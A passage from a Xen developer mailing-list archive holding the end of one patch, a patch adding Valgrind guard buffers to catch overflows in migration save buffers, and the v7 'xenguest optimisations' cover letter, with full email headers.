         xch, dirty_bitmap, NRPAGES(bitmap_size(ctx->save.p2m_size)));
-    ctx->save.batch_pfns = malloc(MAX_BATCH_SIZE *
-                                  sizeof(*ctx->save.batch_pfns));
     ctx->save.deferred_pages = bitmap_alloc(ctx->save.p2m_size);
+    ctx->save.buffers = calloc(1, sizeof(*ctx->save.buffers));
 
-    if ( !ctx->save.batch_pfns || !dirty_bitmap || !ctx->save.deferred_pages )
+    if ( !ctx->save.buffers || !dirty_bitmap || !ctx->save.deferred_pages )
     {
         ERROR("Unable to allocate memory for dirty bitmaps, batch pfns and"
               " deferred pages");
@@ -819,7 +822,7 @@ static void cleanup(struct xc_sr_context *ctx)
     xc_hypercall_buffer_free_pages(xch, dirty_bitmap,
                                    NRPAGES(bitmap_size(ctx->save.p2m_size)));
     free(ctx->save.deferred_pages);
-    free(ctx->save.batch_pfns);
+    free(ctx->save.buffers);
 }
 
 /*
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:44:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:44:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357595.1612010 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQt-00089q-NM; Thu, 09 Jul 2026 07:44:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357595.1612010; Thu, 09 Jul 2026 07:44:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQt-00088Z-GS; Thu, 09 Jul 2026 07:44:31 +0000
Received: by outflank-mailman (input) for mailman id 1357595;
 Thu, 09 Jul 2026 07:44:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whjQs-00081G-3L
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:44:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjQr-002ZqU-GH
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:29 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5151-5cb7-0a2a0a5109dd-0a2a4508d66a-20
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:29 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f515d-edec-0a2a45080019-d155802ad5cd-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:29 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-490cf322ed0so8763085e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:44:29 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3b85sm69114695e9.2.2026.07.09.00.44.28
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 09 Jul 2026 00:44:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783583069; x=1784187869; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=HdvYbFZJbCfZSA6txvl8zWdgc4tqxqpTHmXXPQRK7cA=;
        b=j2kQImmKXur6OBRa+1MyvRdaKob9iVoVX1mDfUMRVWnR0jerXIwniUmEWIYKYFB4l2
         FuQWhw7RUw6t1odLp/GVg/3pZlZ3V0jUm5z3/LnYQTEEZVBf+3XYS7ifDSAB9Mk4D2GS
         jQpaeM0fAE5cbQ8kTB8/PqcLHgyHxZqQpU2y9i0ahmO2f0ws2DERYlL1HzRbvj7ixShm
         W92rJ1IsPLY2XqVKX4doAr6Dv4PIDmCTixpx872JENebAX75LtAezFjGyHycdv5Lg/BY
         j8ILnfp0OGKwxwhXtnwDofrx9dEvZTwJIr4LBFiQAk+reQNeY6VwwC+odQ3Z4ODTNZTC
         +MNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783583069; x=1784187869;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=HdvYbFZJbCfZSA6txvl8zWdgc4tqxqpTHmXXPQRK7cA=;
        b=SpnjrB3vDv0wdVZL5Xn8y/YgDoTh8RNcg0ISBYdM5BGVm95UyHfdfQGVqAiQZg32B9
         HX6MOVW+vaNAIrHOTAEtvXHPpf1bpWZRqfN+5Xd+R/p3GILD5aZibmkWIK1uHU5GuuSP
         jZTpWoBTZL2hBUptAIwSoIWNvsuoLtN571P8yRh4Fl0IrtI+ci2eNO/yRDGjcoye+AWP
         HhoWuff6OkFrp9rU8qPEpaXXi//AGbd3iV3bfV2zma2LjkZA7AvlpHFy+Q2hOTaI4B2E
         eIQBLQrUi7WRe0voseTdJTdRYN4wz7JuA6Yo8c1JxU3QT/+klIppwiGVm5gmveWKXyWx
         ULPA==
X-Gm-Message-State: AOJu0Yw7hp0G+a1LBOoLEOXIq5KNXutxx0DXryfFvqg6YSVg2TbpLpgy
	D56sJqx2mqDr4N4pCWFwNabpeniohOghzfiiIwy1VtMwKT/7ho/KcMx1mnq5h6+D5JI=
X-Gm-Gg: AfdE7clKDXozvaCg7+O/4BceWt6QuJmoMYGZrHaLwLwQ6hdelrMsGvBG8mIGjAtwm+E
	BVpp8cARHswt6lRHcUcYXLBeJtH/eTRpeESb3y1aCfvo48XNWI9lA4crs4MkxisqEgadr+VYPmX
	OvgVhfJoCIJcT9CnO7+mzlEWZseQ5xMFEoAjMBDIwfbhP5AywVjBfzXThWfqIKZt9uhD79tYN0H
	LRbLX4Hy5jOJxjbqAsAyLF4BCpILTsDbIkVWIKd3uta0rAsd/paAxMfjmwKGnQgciZ8AseB7P6n
	MVjtw7tbE0H8USgY8MYFX/ABgsvF/l0ItQkNYZzUs3hj97kokbcLKLtWyoaJoLQVHtUGnAaVD+Q
	QNgYzIll4QvMXqvvu9sXzBRSjJ15M6RbrP2i+Ot6LeM8U9WD1BRPCLyv1bMWQ710UqG5Mix0Gn2
	IMOqx25hvN5vxgidhr6n+sCHKwnHqUXNndfeP7o1V3HQrhi8y91Wc33yhStIUeNSx6wAB7l6EWJ
	DClxGEdtjoKH48cLRI=
X-Received: by 2002:a05:600c:4fd4:b0:493:e3ea:b23f with SMTP id 5b1f17b1804b1-493e6861ac2mr55928515e9.10.1783583068770;
        Thu, 09 Jul 2026 00:44:28 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v7 6/6] libs/guest: use Valgrind to detect various buffer overflows
Date: Thu,  9 Jul 2026 08:43:57 +0100
Message-ID: <20260709074358.256084-7-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709074358.256084-1-frediano.ziglio@citrix.com>
References: <20260709074358.256084-1-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1783583069-A1F223FC-CB3DB1F0/0/0
X-purgate-type: clean
X-purgate-size: 4048

Previously this was done as buffers were allocated separately.

Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
---
 tools/libs/ctrl/xc_private.h    |  8 ++++++++
 tools/libs/guest/xg_sr_common.h |  8 ++++++++
 tools/libs/guest/xg_sr_save.c   | 12 ++++++++++++
 3 files changed, 28 insertions(+)

diff --git a/tools/libs/ctrl/xc_private.h b/tools/libs/ctrl/xc_private.h
index 8a325c17b0..bef96521c3 100644
--- a/tools/libs/ctrl/xc_private.h
+++ b/tools/libs/ctrl/xc_private.h
@@ -45,8 +45,16 @@
 #if defined(HAVE_VALGRIND_MEMCHECK_H) && !defined(NDEBUG) && !defined(__MINIOS__)
 /* Compile in Valgrind client requests? */
 #include <valgrind/memcheck.h>
+#define MEM_NOACCESS_BUFFER(name, size) uint8_t name[size];
+#define MEM_NOACCESS_INIT(field) \
+    VALGRIND_MAKE_MEM_NOACCESS(field, sizeof(field))
+#define MEM_UNDEFINED_INIT(field) \
+    VALGRIND_MAKE_MEM_UNDEFINED(field, sizeof(field))
 #else
 #define VALGRIND_MAKE_MEM_UNDEFINED(addr, len) /* addr, len */
+#define MEM_NOACCESS_BUFFER(name, size)
+#define MEM_NOACCESS_INIT(field) do {} while(0)
+#define MEM_UNDEFINED_INIT(field) do {} while(0)
 #endif
 
 #if defined(__MINIOS__)
diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
index c07c6db59e..d3fc7f363e 100644
--- a/tools/libs/guest/xg_sr_common.h
+++ b/tools/libs/guest/xg_sr_common.h
@@ -245,13 +245,21 @@ struct xc_sr_context
             xc_hypercall_buffer_t dirty_bitmap_hbuf;
             struct xc_sr_context_save_buffers
             {
+                MEM_NOACCESS_BUFFER(na0, 16);
                 xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na1, 16);
                 xen_pfn_t mfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na2, 16);
                 xen_pfn_t types[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na3, 16);
                 void *local_pages[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na4, 16);
                 struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
+                MEM_NOACCESS_BUFFER(na5, 16);
                 uint64_t rec_pfns[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na6, 16);
                 int errors[MAX_BATCH_SIZE];
+                MEM_NOACCESS_BUFFER(na7, 16);
             } *buffers;
         } save;
 
diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
index a49df00971..e03282e385 100644
--- a/tools/libs/guest/xg_sr_save.c
+++ b/tools/libs/guest/xg_sr_save.c
@@ -117,8 +117,10 @@ static int write_batch(struct xc_sr_context *ctx)
     batch_pfns = ctx->save.buffers->batch_pfns;
 
     /* Mfns of the batch pfns. */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->mfns);
     mfns = ctx->save.buffers->mfns;
     /* Types of the batch pfns. */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->types);
     types = ctx->save.buffers->types;
     /* Errors from attempting to map the gfns. */
     errors = ctx->save.buffers->errors;
@@ -126,8 +128,10 @@ static int write_batch(struct xc_sr_context *ctx)
     local_pages = ctx->save.buffers->local_pages;
     memset(local_pages, 0, sizeof(*local_pages) * nr_pfns);
     /* iovec[] for writev(). */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->iov);
     iov = ctx->save.buffers->iov;
     /* page_data record PFNs list */
+    MEM_UNDEFINED_INIT(ctx->save.buffers->rec_pfns);
     rec_pfns = ctx->save.buffers->rec_pfns;
 
     iov[0].iov_base = &hdrs;
@@ -790,6 +794,14 @@ static int setup(struct xc_sr_context *ctx)
         errno = ENOMEM;
         goto err;
     }
+    MEM_NOACCESS_INIT(ctx->save.buffers->na0);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na1);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na2);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na3);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na4);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na5);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na6);
+    MEM_NOACCESS_INIT(ctx->save.buffers->na7);
 
     rc = 0;
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:44:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:44:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357589.1611960 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQn-000710-6u; Thu, 09 Jul 2026 07:44:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357589.1611960; Thu, 09 Jul 2026 07:44:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQn-00070t-2o; Thu, 09 Jul 2026 07:44:25 +0000
Received: by outflank-mailman (input) for mailman id 1357589;
 Thu, 09 Jul 2026 07:44:23 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whjQl-00070h-Ku
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:44:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjQk-002ZqU-GO
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:22 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5155-5cb7-0a2a0a5109dd-0a2a4509a666-4
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:22 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5156-97e6-0a2a45090019-d155802db085-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:22 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493b1710405so9016555e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:44:22 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3b85sm69114695e9.2.2026.07.09.00.44.21
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 09 Jul 2026 00:44:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783583062; x=1784187862; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=g9Ev5/3VmXu2ItFHnNq8C1LQpsVOvg7Hdv1NLg1FbQs=;
        b=CUSWUD0zq9PxMC3rA91siBKvLEI2fLrecGWxDeqk3jBRsKk0Z4OnUSOd3F5WRQpxG2
         4IWZqCGZzk9L2OiXFdCagGapI0J51RUUWZP0zDL/2aEZ0NQ9M5hKSY/vm4cviKBMVX2u
         vduxBbsctlBZTzaVFAPZ28TYadVaXfqlbWsas3dhSGoAT+9fjCRXdDWAfOE8iskCj/Ne
         NmeuJS8zUGaRCesynK1ZqkGSnm1e1Qgu5BUM5RI8HvdUtwZ8WnBr9E+O5TqFmG7hXGUp
         VOM/oweLRAbRhDLhzi6l6IRnvvIgqzcMq6AKXrFWwHODqQmttlKfSquVDrgfDkk8UGLm
         10lw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783583062; x=1784187862;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=g9Ev5/3VmXu2ItFHnNq8C1LQpsVOvg7Hdv1NLg1FbQs=;
        b=qsIlPtGFShsmv4SBeUkb2e360HRxGaNzMLV3ypFhxeCQcfpKhnacsRYrwRvfFQm1F4
         DZQmdPemFU4mZx0qUWJlvhP+niymAfFUYSvqzQlSdfpuKZ+mekYntG/7uMaNqQW6+cHA
         er+eoX1CzBEc+jlWyFEi0TUATzVos9ZgaM7IqFupF3hPZfMsimRCmUO5WPMLjmKxsx7Y
         5dZMD1hzgKSxcOjw7u4L+QSfjtK3DUHkeiiDjbuDGeUTxXRZASCykLKK6I4FZo6f/QLj
         Ppt0a8AjF3vyOLqyg55qnqmm3h81Tn8iCa0ecitZLTxGfhbQ0uvPFUKKCwGsP5UHYHIa
         KHEA==
X-Gm-Message-State: AOJu0YwO9aT43QVNfoJpu7VMeCLi2pg0uMIrClKY2hGytAwdY+8cKSQn
	FAABkk0PIPgK3BWr8u59F32zk20GlBS+Yu64dsk72WvwMtBUqowin+LPf27OjweRE4E=
X-Gm-Gg: AfdE7ckXzsTji+sA7VGF8ZCdX59sT+3RGOUqKGmbjJk5LnYCme8EOpOva9cXJqcqCZ8
	XU9GdFeBu71BbosUJ+pPoDrig5XIy+psKNxpVRTwfacyQV3vU4LXRlW3MsVJPKuW0lL0utWf5ky
	YAl6b6ml13pSS5UqhsKsibWQHn343LquV+GVYcLqAQIdPMYsBnaSdgm3zja4Ra9UAs2b7Qyt8hL
	WKb8l4WLN1WdvYOL2yyQvsLdlx57xTkwRFVmZehJbWiwqdBEIlg/yMdAcjqaYcAMUZWGWXmw5Ck
	uYQSyR70HheasoLU+yzIe7lEQea9xTp4S4MUxGil56siRBa9dG9Uq8S5U7O1enp1UI8SbNyBuad
	nF/rI36np86cF44HO3bojr8He9DhOizqRl9TKiIJr3eydaPLV0+2fe2dIHzEimUSCeuPfr6A8Hx
	/8/SDrpMMfk5quSHh528vApNsXVa6NKoUSwcFzIelSnfbmdhRUBee1vjEq19E6M480avZ132c7Y
	bXKHPYb2ue5lAAhNmbed/n5J66LDg==
X-Received: by 2002:a05:600c:8a0d:10b0:493:d9f7:a3cf with SMTP id 5b1f17b1804b1-493e695bcf9mr43466365e9.17.1783583061713;
        Thu, 09 Jul 2026 00:44:21 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: [PATCH v7 0/6] xenguest optimisations
Date: Thu,  9 Jul 2026 08:43:51 +0100
Message-ID: <20260709074358.256084-1-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1783583062-46538986-ED33651B/0/0
X-purgate-type: clean
X-purgate-size: 2113

Reduce some number of parts passed to writev.
Avoid possible allocation sending data with writev.
Reduce number of allocations sending memory state.

Implement and use new Xen and Linux kernel ABI to copy foreign memory.
This new ABI allows to replace theexpensive  map/copy/unmap sequence
with a single call.

Changes since v1:
- add commit to cache up to 4 pages in hypercall;
- add other 2 commits reducing chunks passed to write/writev.

Changes since v2:
- update patches commit prefixes;
- add other 2 optisations.

Changes since v3:
- address some comments;
- add patches for foreign copy optimisation.

Changes since v4:
- added Reviewed-by;
- improved commit messages;
- other minor fixes, see individual commits.

Changes since v5:
- avoids potential buffer underflow if nr_pages is 0 calling cache_alloc;
- do not overwrite errno if xenforeignmemory_map fails;
- lot of changes to "implement new foreign copy hypercall", see specific
  commit.

Changes since v6:
- removed merged patch;
- keep only optimization commits for now;
- improve comments;
- merged "fill directly iov structure collapsing them" and moved it;
- split "allocate various migration arrays just once";
- add a commit for memory checks using Valgrind.

Edwin TÃ¶rÃ¶k (3):
  libs/call: cache up to 4 pages in hypercall bounce buffers
  libs/guest: move batch_pfns into a separate structure
  libs/guest: allocate various migration arrays just once

Frediano Ziglio (3):
  libs/ctrl: Allow writev_exact() to change the iov array
  libs/guest: fill directly iov structure collapsing them
  libs/guest: use Valgrind to detect various buffer overflows

 tools/libs/call/buffer.c        |  34 ++++++----
 tools/libs/call/core.c          |   3 +-
 tools/libs/call/private.h       |   8 ++-
 tools/libs/ctrl/xc_private.c    |  65 +++++--------------
 tools/libs/ctrl/xc_private.h    |  11 +++-
 tools/libs/guest/xg_sr_common.h |  19 +++++-
 tools/libs/guest/xg_sr_save.c   | 107 +++++++++++++++-----------------
 7 files changed, 124 insertions(+), 123 deletions(-)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 07:44:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 07:44:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357590.1611968 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQo-0007Dj-De; Thu, 09 Jul 2026 07:44:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357590.1611968; Thu, 09 Jul 2026 07:44:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whjQo-0007Db-8t; Thu, 09 Jul 2026 07:44:26 +0000
Received: by outflank-mailman (input) for mailman id 1357590;
 Thu, 09 Jul 2026 07:44:24 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1whjQm-00070n-H1
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:44:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whjQl-00B0qw-U0
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:23 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f514d-bab6-0a2a0a5309dd-0a2a4505a858-24
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:23 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4f5157-3cb2-0a2a45050019-d1558031d459-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 09:44:23 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493e8d4f4dcso7713985e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 00:44:23 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6f3b85sm69114695e9.2.2026.07.09.00.44.21
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 09 Jul 2026 00:44:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783583063; x=1784187863; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=baowJbayltLwF4aiXcTZUWXDEcONYgkCdLRWeXEMrP8=;
        b=erajTBBua8HIEMoyTXH9Ib7I1zEkR5PCRYB0ocAA3NvFV2/CnB+fEJghtm+180+75x
         Ik/XCOdh52+7DhTo/kGa6ueZbGfXgm4cC54SL9cLJdi5ab0E9WD7EwXBZy+jGLkWa8fg
         pQjjXILbYxKDbQPtN3Vd2gNGAlQPXn0Ip3AbCyg7x3RyGXbMFRri91QbnxnvmYudbBqJ
         Wot1mvLvT0kNJydbcGX5WNJJco+Vg/vdMCwAEPS/EOFm3GwODyOBp8hHeo7XPmAt6HJJ
         ZT2R/vCwlYgvf32ZA4+vH//KfT6wmcivBjkM+inErfcpLKQaI+ATRwG0s1StIiQgDRXo
         xC8Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783583063; x=1784187863;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=baowJbayltLwF4aiXcTZUWXDEcONYgkCdLRWeXEMrP8=;
        b=KVE9HOcpz8jWnjpNsnm7h9+RypwMBEq3TNWmWa6MEyz3tXaePujchljDuiFMs1wlyL
         Amyr1gk3NHtwPcPw25wvDr+kI7XyQKA6rFgP76WAJLT5UUD9J/LpHFGnwA7ol54xIC2i
         zXe4sHOfQoeuoN2CtkGnLN/zLR7nvzlEU3sp9eS8mdnn9Y79i2q45twbHe/ARXH21K2x
         K/hje2v/c8vkfdaURz13+o0Wuy0pdruV0F9/AdQ4YWHv7vwLQjLZYjJaLfKVxEYGWxBS
         DshTpx04VGDfxDAWRHBcIjc1AaNqbSbVjuUmR/6H4eJKtb9Ec/ZtnTpfokmhT2ejPt4N
         fHmQ==
X-Gm-Message-State: AOJu0YySjtff9m1xHTS2pepvnFq85H2Quw3qApywhL7gkljnbl0BavZj
	oNGCxWj5H7WzsBWNjwPMgiSrScMYQNOvY61DXYqnXodhTLvuYxFpfSzP5WNPOX6YkaU=
X-Gm-Gg: AfdE7cnm8Cbmkkw5zwYT7UFF/YNL4I900AIMMrP7aBHlCgwQQS0Z0vwDXhlDdavIcPU
	Dq9ndMAYbcfcsl9AGJRHYmkFLLDfUlmkEtClgSVhW5voFKdPNvZh+r8zLZkGpVmhCLqFfMTeYyT
